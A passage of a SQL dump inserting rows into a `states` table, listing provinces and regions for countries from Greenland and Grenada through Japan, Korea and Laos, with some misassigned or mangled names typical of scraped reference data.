(1481, 'Nanortalik', 86, NULL, NULL), (1482, 'Narsaq', 86, NULL, NULL), (1483, 'Nuuk', 86, NULL, NULL), (1484, 'Paamiut', 86, NULL, NULL), (1485, 'Qaanaaq', 86, NULL, NULL), (1486, 'Qaqortoq', 86, NULL, NULL), (1487, 'Qasigiannguit', 86, NULL, NULL), (1488, 'Qeqertarsuaq', 86, NULL, NULL), (1489, 'Sisimiut', 86, NULL, NULL), (1490, 'Udenfor kommunal inddeling', 86, NULL, NULL), (1491, 'Upernavik', 86, NULL, NULL), (1492, 'Uummannaq', 86, NULL, NULL), (1493, 'Carriacou-Petite Martinique', 87, NULL, NULL), (1494, 'Saint Andrew', 87, NULL, NULL), (1495, 'Saint Davids', 87, NULL, NULL), (1496, 'Saint George\'\'s', 87, NULL, NULL), (1497, 'Saint John', 87, NULL, NULL), (1498, 'Saint Mark', 87, NULL, NULL), (1499, 'Saint Patrick', 87, NULL, NULL), (1500, 'Basse-Terre', 88, NULL, NULL), (1501, 'Grande-Terre', 88, NULL, NULL), (1502, 'Iles des Saintes', 88, NULL, NULL), (1503, 'La Desirade', 88, NULL, NULL), (1504, 'Marie-Galante', 88, NULL, NULL), (1505, 'Saint Barthelemy', 88, NULL, NULL); INSERT INTO `states` (`id`, `name`, `country_id`, `created_at`, `updated_at`) VALUES (1506, 'Saint Martin', 88, NULL, NULL), (1507, 'Agana Heights', 89, NULL, NULL), (1508, 'Agat', 89, NULL, NULL), (1509, 'Barrigada', 89, NULL, NULL), (1510, 'Chalan-Pago-Ordot', 89, NULL, NULL), (1511, 'Dededo', 89, NULL, NULL), (1512, 'Hagatna', 89, NULL, NULL), (1513, 'Inarajan', 89, NULL, NULL), (1514, 'Mangilao', 89, NULL, NULL), (1515, 'Merizo', 89, NULL, NULL), (1516, 'Mongmong-Toto-Maite', 89, NULL, NULL), (1517, 'Santa Rita', 89, NULL, NULL), (1518, 'Sinajana', 89, NULL, NULL), (1519, 'Talofofo', 89, NULL, NULL), (1520, 'Tamuning', 89, NULL, NULL), (1521, 'Yigo', 89, NULL, NULL), (1522, 'Yona', 89, NULL, NULL), (1523, 'Alta Verapaz', 90, NULL, NULL), (1524, 'Baja Verapaz', 90, NULL, NULL), (1525, 'Chimaltenango', 90, NULL, NULL), (1526, 'Chiquimula', 90, NULL, NULL), (1527, 'El Progreso', 90, NULL, NULL), (1528, 'Escuintla', 90, NULL, NULL), (1529, 'Guatemala', 90, NULL, NULL), (1530, 'Huehuetenango', 90, NULL, NULL), (1531, 'Izabal', 90, NULL, NULL), (1532, 'Jalapa', 90, NULL, NULL), (1533, 'Jutiapa', 90, NULL, NULL), (1534, 'Peten', 90, NULL, NULL), (1535, 'Quezaltenango', 90, NULL, NULL), (1536, 'Quiche', 90, NULL, NULL), (1537, 'Retalhuleu', 90, NULL, NULL), (1538, 'Sacatepequez', 90, NULL, NULL), (1539, 'San Marcos', 90, NULL, NULL), (1540, 'Santa Rosa', 90, NULL, NULL), (1541, 'Solola', 90, NULL, NULL), (1542, 'Suchitepequez', 90, NULL, NULL), (1543, 'Totonicapan', 90, NULL, NULL), (1544, 'Zacapa', 90, NULL, NULL), (1545, 'Alderney', 91, NULL, NULL), (1546, 'Castel', 91, NULL, NULL), (1547, 'Forest', 91, NULL, NULL), (1548, 'Saint Andrew', 91, NULL, NULL), (1549, 'Saint Martin', 91, NULL, NULL), (1550, 'Saint Peter Port', 91, NULL, NULL), (1551, 'Saint Pierre du Bois', 91, NULL, NULL), (1552, 'Saint Sampson', 91, NULL, NULL), (1553, 'Saint Saviour', 91, NULL, NULL), (1554, 'Sark', 91, NULL, NULL), (1555, 'Torteval', 91, NULL, NULL), (1556, 'Vale', 91, NULL, NULL), (1557, 'Beyla', 92, NULL, NULL), (1558, 'Boffa', 92, NULL, NULL), (1559, 'Boke', 92, NULL, NULL), (1560, 'Conakry', 92, NULL, NULL), (1561, 'Coyah', 92, NULL, NULL), (1562, 'Dabola', 92, NULL, NULL), (1563, 'Dalaba', 92, NULL, NULL), (1564, 'Dinguiraye', 92, NULL, NULL), (1565, 'Faranah', 92, NULL, NULL), (1566, 'Forecariah', 92, NULL, NULL), (1567, 'Fria', 92, NULL, NULL), (1568, 'Gaoual', 92, NULL, NULL), (1569, 'Gueckedou', 92, NULL, NULL), (1570, 'Kankan', 92, NULL, NULL), (1571, 'Kerouane', 92, NULL, NULL), (1572, 'Kindia', 92, NULL, NULL), (1573, 'Kissidougou', 92, NULL, NULL), (1574, 'Koubia', 92, NULL, NULL), (1575, 'Koundara', 92, NULL, NULL), (1576, 'Kouroussa', 92, NULL, NULL), (1577, 'Labe', 92, NULL, NULL), (1578, 'Lola', 92, NULL, NULL), (1579, 'Macenta', 92, NULL, NULL), (1580, 'Mali', 92, NULL, NULL), (1581, 'Mamou', 92, NULL, NULL), (1582, 'Mandiana', 92, NULL, NULL), (1583, 'Nzerekore', 92, NULL, NULL), (1584, 'Pita', 92, NULL, NULL), (1585, 'Siguiri', 92, NULL, NULL), (1586, 'Telimele', 92, NULL, NULL), (1587, 'Tougue', 92, NULL, NULL), (1588, 'Yomou', 92, NULL, NULL), (1589, 'Bafata', 93, NULL, NULL), (1590, 'Bissau', 93, NULL, NULL), (1591, 'Bolama', 93, NULL, NULL), (1592, 'Cacheu', 93, NULL, NULL), (1593, 'Gabu', 93, NULL, NULL), (1594, 'Oio', 93, NULL, NULL), (1595, 'Quinara', 93, NULL, NULL), (1596, 'Tombali', 93, NULL, NULL), (1597, 'Barima-Waini', 94, NULL, NULL), (1598, 'Cuyuni-Mazaruni', 94, NULL, NULL), (1599, 'Demerara-Mahaica', 94, NULL, NULL), (1600, 'East Berbice-Corentyne', 94, NULL, NULL), (1601, 'Essequibo Islands-West Demerar', 94, NULL, NULL), (1602, 'Mahaica-Berbice', 94, NULL, NULL), (1603, 'Pomeroon-Supenaam', 94, NULL, NULL), (1604, 'Potaro-Siparuni', 94, NULL, NULL), (1605, 'Upper Demerara-Berbice', 94, NULL, NULL), (1606, 'Upper Takutu-Upper Essequibo', 94, NULL, NULL), (1607, 'Artibonite', 95, NULL, NULL), (1608, 'Centre', 95, NULL, NULL), (1609, 'Grand\'\'Anse', 95, NULL, NULL), (1610, 'Nord', 95, NULL, NULL), (1611, 'Nord-Est', 95, NULL, NULL), (1612, 'Nord-Ouest', 95, NULL, NULL), (1613, 'Ouest', 95, NULL, NULL), (1614, 'Sud', 95, NULL, NULL), (1615, 'Sud-Est', 95, NULL, NULL), (1616, 'Heard and McDonald Islands', 96, NULL, NULL), (1617, 'Atlantida', 97, NULL, NULL), (1618, 'Choluteca', 97, NULL, NULL), (1619, 'Colon', 97, NULL, NULL), (1620, 'Comayagua', 97, NULL, NULL), (1621, 'Copan', 97, NULL, NULL), (1622, 'Cortes', 97, NULL, NULL), (1623, 'Distrito Central', 97, NULL, NULL), (1624, 'El Paraiso', 97, NULL, NULL), (1625, 'Francisco Morazan', 97, NULL, NULL), (1626, 'Gracias a Dios', 97, NULL, NULL), (1627, 'Intibuca', 97, NULL, NULL), (1628, 'Islas de la Bahia', 97, NULL, NULL), (1629, 'La Paz', 97, NULL, NULL), (1630, 'Lempira', 97, NULL, NULL), (1631, 'Ocotepeque', 97, NULL, NULL), (1632, 'Olancho', 97, NULL, NULL), (1633, 'Santa Barbara', 97, NULL, NULL), (1634, 'Valle', 97, NULL, NULL), (1635, 'Yoro', 97, NULL, NULL), (1636, 'Hong Kong', 98, NULL, NULL), (1637, 'Bacs-Kiskun', 99, NULL, NULL), (1638, 'Baranya', 99, NULL, NULL), (1639, 'Bekes', 99, NULL, NULL), (1640, 'Borsod-Abauj-Zemplen', 99, NULL, NULL), (1641, 'Budapest', 99, NULL, NULL), (1642, 'Csongrad', 99, NULL, NULL), (1643, 'Fejer', 99, NULL, NULL), (1644, 'Gyor-Moson-Sopron', 99, NULL, NULL), (1645, 'Hajdu-Bihar', 99, NULL, NULL), (1646, 'Heves', 99, NULL, NULL), (1647, 'Jasz-Nagykun-Szolnok', 99, NULL, NULL), (1648, 'Komarom-Esztergom', 99, NULL, NULL), (1649, 'Nograd', 99, NULL, NULL), (1650, 'Pest', 99, NULL, NULL), (1651, 'Somogy', 99, NULL, NULL), (1652, 'Szabolcs-Szatmar-Bereg', 99, NULL, NULL), (1653, 'Tolna', 99, NULL, NULL), (1654, 'Vas', 99, NULL, NULL), (1655, 'Veszprem', 99, NULL, NULL), (1656, 'Zala', 99, NULL, NULL), (1657, 'Austurland', 100, NULL, NULL), (1658, 'Gullbringusysla', 100, NULL, NULL), (1659, 'Hofu borgarsva i', 100, NULL, NULL), (1660, 'Nor urland eystra', 100, NULL, NULL), (1661, 'Nor urland vestra', 100, NULL, NULL), (1662, 'Su urland', 100, NULL, NULL), (1663, 'Su urnes', 100, NULL, NULL), (1664, 'Vestfir ir', 100, NULL, NULL), (1665, 'Vesturland', 100, NULL, NULL), (1666, 'Aceh', 102, NULL, NULL), (1667, 'Bali', 102, NULL, NULL), (1668, 'Bangka-Belitung', 102, NULL, NULL), (1669, 'Banten', 102, NULL, NULL), (1670, 'Bengkulu', 102, NULL, NULL), (1671, 'Gandaria', 102, NULL, NULL), (1672, 'Gorontalo', 102, NULL, NULL), (1673, 'Jakarta', 102, NULL, NULL), (1674, 'Jambi', 102, NULL, NULL), (1675, 'Jawa Barat', 102, NULL, NULL), (1676, 'Jawa Tengah', 102, NULL, NULL), (1677, 'Jawa Timur', 102, NULL, NULL), (1678, 'Kalimantan Barat', 102, NULL, NULL), (1679, 'Kalimantan Selatan', 102, NULL, NULL), (1680, 'Kalimantan Tengah', 102, NULL, NULL), (1681, 'Kalimantan Timur', 102, NULL, NULL), (1682, 'Kendal', 102, NULL, NULL), (1683, 'Lampung', 102, NULL, NULL), (1684, 'Maluku', 102, NULL, NULL), (1685, 'Maluku Utara', 102, NULL, NULL), (1686, 'Nusa Tenggara Barat', 102, NULL, NULL), (1687, 'Nusa Tenggara Timur', 102, NULL, NULL), (1688, 'Papua', 102, NULL, NULL), (1689, 'Riau', 102, NULL, NULL), (1690, 'Riau Kepulauan', 102, NULL, NULL), (1691, 'Solo', 102, NULL, NULL), (1692, 'Sulawesi Selatan', 102, NULL, NULL), (1693, 'Sulawesi Tengah', 102, NULL, NULL), (1694, 'Sulawesi Tenggara', 102, NULL, NULL), (1695, 'Sulawesi Utara', 102, NULL, NULL), (1696, 'Sumatera Barat', 102, NULL, NULL), (1697, 'Sumatera Selatan', 102, NULL, NULL), (1698, 'Sumatera Utara', 102, NULL, NULL), (1699, 'Yogyakarta', 102, NULL, NULL), (1700, 'Ardabil', 103, NULL, NULL), (1701, 'Azarbayjan-e Bakhtari', 103, NULL, NULL), (1702, 'Azarbayjan-e Khavari', 103, NULL, NULL), (1703, 'Bushehr', 103, NULL, NULL), (1704, 'Chahar Mahal-e Bakhtiari', 103, NULL, NULL), (1705, 'Esfahan', 103, NULL, NULL), (1706, 'Fars', 103, NULL, NULL), (1707, 'Gilan', 103, NULL, NULL), (1708, 'Golestan', 103, NULL, NULL), (1709, 'Hamadan', 103, NULL, NULL), (1710, 'Hormozgan', 103, NULL, NULL), (1711, 'Ilam', 103, NULL, NULL), (1712, 'Kerman', 103, NULL, NULL), (1713, 'Kermanshah', 103, NULL, NULL), (1714, 'Khorasan', 103, NULL, NULL), (1715, 'Khuzestan', 103, NULL, NULL), (1716, 'Kohgiluyeh-e Boyerahmad', 103, NULL, NULL), (1717, 'Kordestan', 103, NULL, NULL), (1718, 'Lorestan', 103, NULL, NULL), (1719, 'Markazi', 103, NULL, NULL), (1720, 'Mazandaran', 103, NULL, NULL), (1721, 'Ostan-e Esfahan', 103, NULL, NULL), (1722, 'Qazvin', 103, NULL, NULL), (1723, 'Qom', 103, NULL, NULL), (1724, 'Semnan', 103, NULL, NULL), (1725, 'Sistan-e Baluchestan', 103, NULL, NULL), (1726, 'Tehran', 103, NULL, NULL), (1727, 'Yazd', 103, NULL, NULL), (1728, 'Zanjan', 103, NULL, NULL), (1729, 'Babil', 104, NULL, NULL), (1730, 'Baghdad', 104, NULL, NULL), (1731, 'Dahuk', 104, NULL, NULL), (1732, 'Dhi Qar', 104, NULL, NULL), (1733, 'Diyala', 104, NULL, NULL), (1734, 'Erbil', 104, NULL, NULL), (1735, 'Irbil', 104, NULL, NULL), (1736, 'Karbala', 104, NULL, NULL), (1737, 'Kurdistan', 104, NULL, NULL), (1738, 'Maysan', 104, NULL, NULL), (1739, 'Ninawa', 104, NULL, NULL), (1740, 'Salah-ad-Din', 104, NULL, NULL), (1741, 'Wasit', 104, NULL, NULL), (1742, 'al-Anbar', 104, NULL, NULL), (1743, 'al-Basrah', 104, NULL, NULL), (1744, 'al-Muthanna', 104, NULL, NULL), (1745, 'al-Qadisiyah', 104, NULL, NULL), (1746, 'an-Najaf', 104, NULL, NULL), (1747, 'as-Sulaymaniyah', 104, NULL, NULL), (1748, 'at-Ta\'\'mim', 104, NULL, NULL), (1749, 'Armagh', 105, NULL, NULL), (1750, 'Carlow', 105, NULL, NULL), (1751, 'Cavan', 105, NULL, NULL), (1752, 'Clare', 105, NULL, NULL), (1753, 'Cork', 105, NULL, NULL), (1754, 'Donegal', 105, NULL, NULL), (1755, 'Dublin', 105, NULL, NULL), (1756, 'Galway', 105, NULL, NULL), (1757, 'Kerry', 105, NULL, NULL), (1758, 'Kildare', 105, NULL, NULL), (1759, 'Kilkenny', 105, NULL, NULL), (1760, 'Laois', 105, NULL, NULL), (1761, 'Leinster', 105, NULL, NULL), (1762, 'Leitrim', 105, NULL, NULL), (1763, 'Limerick', 105, NULL, NULL), (1764, 'Loch Garman', 105, NULL, NULL), (1765, 'Longford', 105, NULL, NULL), (1766, 'Louth', 105, NULL, NULL), (1767, 'Mayo', 105, NULL, NULL), (1768, 'Meath', 105, NULL, NULL), (1769, 'Monaghan', 105, NULL, NULL), (1770, 'Offaly', 105, NULL, NULL), (1771, 'Roscommon', 105, NULL, NULL), (1772, 'Sligo', 105, NULL, NULL), (1773, 'Tipperary North Riding', 105, NULL, NULL), (1774, 'Tipperary South Riding', 105, NULL, NULL), (1775, 'Ulster', 105, NULL, NULL), (1776, 'Waterford', 105, NULL, NULL), (1777, 'Westmeath', 105, NULL, NULL), (1778, 'Wexford', 105, NULL, NULL), (1779, 'Wicklow', 105, NULL, NULL), (1780, 'Beit Hanania', 106, NULL, NULL), (1781, 'Ben Gurion Airport', 106, NULL, NULL), (1782, 'Bethlehem', 106, NULL, NULL), (1783, 'Caesarea', 106, NULL, NULL), (1784, 'Centre', 106, NULL, NULL), (1785, 'Gaza', 106, NULL, NULL), (1786, 'Hadaron', 106, NULL, NULL), (1787, 'Haifa District', 106, NULL, NULL), (1788, 'Hamerkaz', 106, NULL, NULL), (1789, 'Hazafon', 106, NULL, NULL), (1790, 'Hebron', 106, NULL, NULL), (1791, 'Jaffa', 106, NULL, NULL), (1792, 'Jerusalem', 106, NULL, NULL), (1793, 'Khefa', 106, NULL, NULL), (1794, 'Kiryat Yam', 106, NULL, NULL), (1795, 'Lower Galilee', 106, NULL, NULL), (1796, 'Qalqilya', 106, NULL, NULL), (1797, 'Talme Elazar', 106, NULL, NULL), (1798, 'Tel Aviv', 106, NULL, NULL), (1799, 'Tsafon', 106, NULL, NULL), (1800, 'Umm El Fahem', 106, NULL, NULL), (1801, 'Yerushalayim', 106, NULL, NULL), (1802, 'Abruzzi', 107, NULL, NULL), (1803, 'Abruzzo', 107, NULL, NULL), (1804, 'Agrigento', 107, NULL, NULL), (1805, 'Alessandria', 107, NULL, NULL), (1806, 'Ancona', 107, NULL, NULL), (1807, 'Arezzo', 107, NULL, NULL), (1808, 'Ascoli Piceno', 107, NULL, NULL), (1809, 'Asti', 107, NULL, NULL), (1810, 'Avellino', 107, NULL, NULL), (1811, 'Bari', 107, NULL, NULL), (1812, 'Basilicata', 107, NULL, NULL), (1813, 'Belluno', 107, NULL, NULL), (1814, 'Benevento', 107, NULL, NULL), (1815, 'Bergamo', 107, NULL, NULL), (1816, 'Biella', 107, NULL, NULL), (1817, 'Bologna', 107, NULL, NULL), (1818, 'Bolzano', 107, NULL, NULL), (1819, 'Brescia', 107, NULL, NULL), (1820, 'Brindisi', 107, NULL, NULL), (1821, 'Calabria', 107, NULL, NULL), (1822, 'Campania', 107, NULL, NULL), (1823, 'Cartoceto', 107, NULL, NULL), (1824, 'Caserta', 107, NULL, NULL), (1825, 'Catania', 107, NULL, NULL), (1826, 'Chieti', 107, NULL, NULL), (1827, 'Como', 107, NULL, NULL), (1828, 'Cosenza', 107, NULL, NULL), (1829, 'Cremona', 107, NULL, NULL), (1830, 'Cuneo', 107, NULL, NULL), (1831, 'Emilia-Romagna', 107, NULL, NULL), (1832, 'Ferrara', 107, NULL, NULL), (1833, 'Firenze', 107, NULL, NULL), (1834, 'Florence', 107, NULL, NULL), (1835, 'Forli-Cesena', 107, NULL, NULL), (1836, 'Friuli-Venezia Giulia', 107, NULL, NULL), (1837, 'Frosinone', 107, NULL, NULL), (1838, 'Genoa', 107, NULL, NULL), (1839, 'Gorizia', 107, NULL, NULL), (1840, 'L\'\'Aquila', 107, NULL, NULL), (1841, 'Lazio', 107, NULL, NULL), (1842, 'Lecce', 107, NULL, NULL), (1843, 'Lecco', 107, NULL, NULL), (1844, 'Lecco Province', 107, NULL, NULL), (1845, 'Liguria', 107, NULL, NULL), (1846, 'Lodi', 107, NULL, NULL), (1847, 'Lombardia', 107, NULL, NULL), (1848, 'Lombardy', 107, NULL, NULL), (1849, 'Macerata', 107, NULL, NULL), (1850, 'Mantova', 107, NULL, NULL), (1851, 'Marche', 107, NULL, NULL), (1852, 'Messina', 107, NULL, NULL), (1853, 'Milan', 107, NULL, NULL), (1854, 'Modena', 107, NULL, NULL), (1855, 'Molise', 107, NULL, NULL), (1856, 'Molteno', 107, NULL, NULL), (1857, 'Montenegro', 107, NULL, NULL), (1858, 'Monza and Brianza', 107, NULL, NULL), (1859, 'Naples', 107, NULL, NULL), (1860, 'Novara', 107, NULL, NULL), (1861, 'Padova', 107, NULL, NULL), (1862, 'Parma', 107, NULL, NULL), (1863, 'Pavia', 107, NULL, NULL), (1864, 'Perugia', 107, NULL, NULL), (1865, 'Pesaro-Urbino', 107, NULL, NULL), (1866, 'Piacenza', 107, NULL, NULL), (1867, 'Piedmont', 107, NULL, NULL), (1868, 'Piemonte', 107, NULL, NULL), (1869, 'Pisa', 107, NULL, NULL), (1870, 'Pordenone', 107, NULL, NULL), (1871, 'Potenza', 107, NULL, NULL), (1872, 'Puglia', 107, NULL, NULL), (1873, 'Reggio Emilia', 107, NULL, NULL), (1874, 'Rimini', 107, NULL, NULL), (1875, 'Roma', 107, NULL, NULL), (1876, 'Salerno', 107, NULL, NULL), (1877, 'Sardegna', 107, NULL, NULL), (1878, 'Sassari', 107, NULL, NULL), (1879, 'Savona', 107, NULL, NULL), (1880, 'Sicilia', 107, NULL, NULL), (1881, 'Siena', 107, NULL, NULL), (1882, 'Sondrio', 107, NULL, NULL), (1883, 'South Tyrol', 107, NULL, NULL), (1884, 'Taranto', 107, NULL, NULL), (1885, 'Teramo', 107, NULL, NULL), (1886, 'Torino', 107, NULL, NULL), (1887, 'Toscana', 107, NULL, NULL), (1888, 'Trapani', 107, NULL, NULL), (1889, 'Trentino-Alto Adige', 107, NULL, NULL), (1890, 'Trento', 107, NULL, NULL), (1891, 'Treviso', 107, NULL, NULL), (1892, 'Udine', 107, NULL, NULL), (1893, 'Umbria', 107, NULL, NULL), (1894, 'Valle d\'\'Aosta', 107, NULL, NULL), (1895, 'Varese', 107, NULL, NULL), (1896, 'Veneto', 107, NULL, NULL), (1897, 'Venezia', 107, NULL, NULL), (1898, 'Verbano-Cusio-Ossola', 107, NULL, NULL), (1899, 'Vercelli', 107, NULL, NULL), (1900, 'Verona', 107, NULL, NULL), (1901, 'Vicenza', 107, NULL, NULL), (1902, 'Viterbo', 107, NULL, NULL), (1903, 'Buxoro Viloyati', 108, NULL, NULL), (1904, 'Clarendon', 108, NULL, NULL), (1905, 'Hanover', 108, NULL, NULL), (1906, 'Kingston', 108, NULL, NULL), (1907, 'Manchester', 108, NULL, NULL), (1908, 'Portland', 108, NULL, NULL), (1909, 'Saint Andrews', 108, NULL, NULL), (1910, 'Saint Ann', 108, NULL, NULL), (1911, 'Saint Catherine', 108, NULL, NULL), (1912, 'Saint Elizabeth', 108, NULL, NULL), (1913, 'Saint James', 108, NULL, NULL), (1914, 'Saint Mary', 108, NULL, NULL), (1915, 'Saint Thomas', 108, NULL, NULL), (1916, 'Trelawney', 108, NULL, NULL), (1917, 'Westmoreland', 108, NULL, NULL), (1918, 'Aichi', 109, NULL, NULL), (1919, 'Akita', 109, NULL, NULL), (1920, 'Aomori', 109, NULL, NULL), (1921, 'Chiba', 109, NULL, NULL), (1922, 'Ehime', 109, NULL, NULL), (1923, 'Fukui', 109, NULL, NULL), (1924, 'Fukuoka', 109, NULL, NULL), (1925, 'Fukushima', 109, NULL, NULL), (1926, 'Gifu', 109, NULL, NULL), (1927, 'Gumma', 109, NULL, NULL), (1928, 'Hiroshima', 109, NULL, NULL), (1929, 'Hokkaido', 109, NULL, NULL), (1930, 'Hyogo', 109, NULL, NULL), (1931, 'Ibaraki', 109, NULL, NULL), (1932, 'Ishikawa', 109, NULL, NULL), (1933, 'Iwate', 109, NULL, NULL), (1934, 'Kagawa', 109, NULL, NULL), (1935, 'Kagoshima', 109, NULL, NULL), (1936, 'Kanagawa', 109, NULL, NULL), (1937, 'Kanto', 109, NULL, NULL), (1938, 'Kochi', 109, NULL, NULL), (1939, 'Kumamoto', 109, NULL, NULL), (1940, 'Kyoto', 109, NULL, NULL), (1941, 'Mie', 109, NULL, NULL), (1942, 'Miyagi', 109, NULL, NULL), (1943, 'Miyazaki', 109, NULL, NULL), (1944, 'Nagano', 109, NULL, NULL), (1945, 'Nagasaki', 109, NULL, NULL), (1946, 'Nara', 109, NULL, NULL), (1947, 'Niigata', 109, NULL, NULL), (1948, 'Oita', 109, NULL, NULL), (1949, 'Okayama', 109, NULL, NULL), (1950, 'Okinawa', 109, NULL, NULL), (1951, 'Osaka', 109, NULL, NULL), (1952, 'Saga', 109, NULL, NULL), (1953, 'Saitama', 109, NULL, NULL), (1954, 'Shiga', 109, NULL, NULL), (1955, 'Shimane', 109, NULL, NULL), (1956, 'Shizuoka', 109, NULL, NULL), (1957, 'Tochigi', 109, NULL, NULL), (1958, 'Tokushima', 109, NULL, NULL), (1959, 'Tokyo', 109, NULL, NULL), (1960, 'Tottori', 109, NULL, NULL), (1961, 'Toyama', 109, NULL, NULL), (1962, 'Wakayama', 109, NULL, NULL), (1963, 'Yamagata', 109, NULL, NULL), (1964, 'Yamaguchi', 109, NULL, NULL), (1965, 'Yamanashi', 109, NULL, NULL), (1966, 'Grouville', 110, NULL, NULL), (1967, 'Saint Brelade', 110, NULL, NULL), (1968, 'Saint Clement', 110, NULL, NULL), (1969, 'Saint Helier', 110, NULL, NULL), (1970, 'Saint John', 110, NULL, NULL), (1971, 'Saint Lawrence', 110, NULL, NULL), (1972, 'Saint Martin', 110, NULL, NULL), (1973, 'Saint Mary', 110, NULL, NULL), (1974, 'Saint Peter', 110, NULL, NULL), (1975, 'Saint Saviour', 110, NULL, NULL), (1976, 'Trinity', 110, NULL, NULL), (1977, 'Ajlun', 111, NULL, NULL), (1978, 'Amman', 111, NULL, NULL), (1979, 'Irbid', 111, NULL, NULL), (1980, 'Jarash', 111, NULL, NULL), (1981, 'Ma\'\'an', 111, NULL, NULL), (1982, 'Madaba', 111, NULL, NULL), (1983, 'al-\'\'Aqabah', 111, NULL, NULL), (1984, 'al-Balqa', 111, NULL, NULL), (1985, 'al-Karak', 111, NULL, NULL), (1986, 'al-Mafraq', 111, NULL, NULL), (1987, 'at-Tafilah', 111, NULL, NULL), (1988, 'az-Zarqa', 111, NULL, NULL), (1989, 'Akmecet', 112, NULL, NULL), (1990, 'Akmola', 112, NULL, NULL), (1991, 'Aktobe', 112, NULL, NULL), (1992, 'Almati', 112, NULL, NULL), (1993, 'Atirau', 112, NULL, NULL), (1994, 'Batis Kazakstan', 112, NULL, NULL), (1995, 'Burlinsky Region', 112, NULL, NULL), (1996, 'Karagandi', 112, NULL, NULL), (1997, 'Kostanay', 112, NULL, NULL), (1998, 'Mankistau', 112, NULL, NULL), (1999, 'Ontustik Kazakstan', 112, NULL, NULL), (2000, 'Pavlodar', 112, NULL, NULL), (2001, 'Sigis Kazakstan', 112, NULL, NULL), (2002, 'Soltustik Kazakstan', 112, NULL, NULL), (2003, 'Taraz', 112, NULL, NULL), (2004, 'Central', 113, NULL, NULL), (2005, 'Coast', 113, NULL, NULL); INSERT INTO `states` (`id`, `name`, `country_id`, `created_at`, `updated_at`) VALUES (2006, 'Eastern', 113, NULL, NULL), (2007, 'Nairobi', 113, NULL, NULL), (2008, 'North Eastern', 113, NULL, NULL), (2009, 'Nyanza', 113, NULL, NULL), (2010, 'Rift Valley', 113, NULL, NULL), (2011, 'Western', 113, NULL, NULL), (2012, 'Abaiang', 114, NULL, NULL), (2013, 'Abemana', 114, NULL, NULL), (2014, 'Aranuka', 114, NULL, NULL), (2015, 'Arorae', 114, NULL, NULL), (2016, 'Banaba', 114, NULL, NULL), (2017, 'Beru', 114, NULL, NULL), (2018, 'Butaritari', 114, NULL, NULL), (2019, 'Kiritimati', 114, NULL, NULL), (2020, 'Kuria', 114, NULL, NULL), (2021, 'Maiana', 114, NULL, NULL), (2022, 'Makin', 114, NULL, NULL), (2023, 'Marakei', 114, NULL, NULL), (2024, 'Nikunau', 114, NULL, NULL), (2025, 'Nonouti', 114, NULL, NULL), (2026, 'Onotoa', 114, NULL, NULL), (2027, 'Phoenix Islands', 114, NULL, NULL), (2028, 'Tabiteuea North', 114, NULL, NULL), (2029, 'Tabiteuea South', 114, NULL, NULL), (2030, 'Tabuaeran', 114, NULL, NULL), (2031, 'Tamana', 114, NULL, NULL), (2032, 'Tarawa North', 114, NULL, NULL), (2033, 'Tarawa South', 114, NULL, NULL), (2034, 'Teraina', 114, NULL, NULL), (2035, 'Chagangdo', 115, NULL, NULL), (2036, 'Hamgyeongbukto', 115, NULL, NULL), (2037, 'Hamgyeongnamdo', 115, NULL, NULL), (2038, 'Hwanghaebukto', 115, NULL, NULL), (2039, 'Hwanghaenamdo', 115, NULL, NULL), (2040, 'Kaeseong', 115, NULL, NULL), (2041, 'Kangweon', 115, NULL, NULL), (2042, 'Nampo', 115, NULL, NULL), (2043, 'Pyeonganbukto', 115, NULL, NULL), (2044, 'Pyeongannamdo', 115, NULL, NULL), (2045, 'Pyeongyang', 115, NULL, NULL), (2046, 'Yanggang', 115, NULL, NULL), (2047, 'Busan', 116, NULL, NULL), (2048, 'Cheju', 116, NULL, NULL), (2049, 'Chollabuk', 116, NULL, NULL), (2050, 'Chollanam', 116, NULL, NULL), (2051, 'Chungbuk', 116, NULL, NULL), (2052, 'Chungcheongbuk', 116, NULL, NULL), (2053, 'Chungcheongnam', 116, NULL, NULL), (2054, 'Chungnam', 116, NULL, NULL), (2055, 'Daegu', 116, NULL, NULL), (2056, 'Gangwon-do', 116, NULL, NULL), (2057, 'Goyang-si', 116, NULL, NULL), (2058, 'Gyeonggi-do', 116, NULL, NULL), (2059, 'Gyeongsang', 116, NULL, NULL), (2060, 'Gyeongsangnam-do', 116, NULL, NULL), (2061, 'Incheon', 116, NULL, NULL), (2062, 'Jeju-Si', 116, NULL, NULL), (2063, 'Jeonbuk', 116, NULL, NULL), (2064, 'Kangweon', 116, NULL, NULL), (2065, 'Kwangju', 116, NULL, NULL), (2066, 'Kyeonggi', 116, NULL, NULL), (2067, 'Kyeongsangbuk', 116, NULL, NULL), (2068, 'Kyeongsangnam', 116, NULL, NULL), (2069, 'Kyonggi-do', 116, NULL, NULL), (2070, 'Kyungbuk-Do', 116, NULL, NULL), (2071, 'Kyunggi-Do', 116, NULL, NULL), (2072, 'Kyunggi-do', 116, NULL, NULL), (2073, 'Pusan', 116, NULL, NULL), (2074, 'Seoul', 116, NULL, NULL), (2075, 'Sudogwon', 116, NULL, NULL), (2076, 'Taegu', 116, NULL, NULL), (2077, 'Taejeon', 116, NULL, NULL), (2078, 'Taejon-gwangyoksi', 116, NULL, NULL), (2079, 'Ulsan', 116, NULL, NULL), (2080, 'Wonju', 116, NULL, NULL), (2081, 'gwangyoksi', 116, NULL, NULL), (2082, 'Al Asimah', 117, NULL, NULL), (2083, 'Hawalli', 117, NULL, NULL), (2084, 'Mishref', 117, NULL, NULL), (2085, 'Qadesiya', 117, NULL, NULL), (2086, 'Safat', 117, NULL, NULL), (2087, 'Salmiya', 117, NULL, NULL), (2088, 'al-Ahmadi', 117, NULL, NULL), (2089, 'al-Farwaniyah', 117, NULL, NULL), (2090, 'al-Jahra', 117, NULL, NULL), (2091, 'al-Kuwayt', 117, NULL, NULL), (2092, 'Batken', 118, NULL, NULL), (2093, 'Bishkek', 118, NULL, NULL), (2094, 'Chui', 118, NULL, NULL), (2095, 'Issyk-Kul', 118, NULL, NULL), (2096, 'Jalal-Abad', 118, NULL, NULL), (2097, 'Naryn', 118, NULL, NULL), (2098, 'Osh', 118, NULL, NULL), (2099, 'Talas', 118, NULL, NULL), (2100, 'Attopu', 119, NULL, NULL), (2101, 'Bokeo', 119, NULL, NULL), (2102, 'Bolikhamsay', 119, NULL, NULL), (2103, 'Champasak', 119, NULL, NULL), (2104, 'Houaphanh', 119, NULL, NULL), (2105, 'Khammouane', 119, NULL, NULL), (2106, 'Luang Nam Tha', 119, NULL, NULL), (2107, 'Luang Prabang', 119, NULL, NULL), (2108, 'Oudomxay', 119, NULL, NULL), (2109, 'Phongsaly', 119, NULL, NULL), (2110, 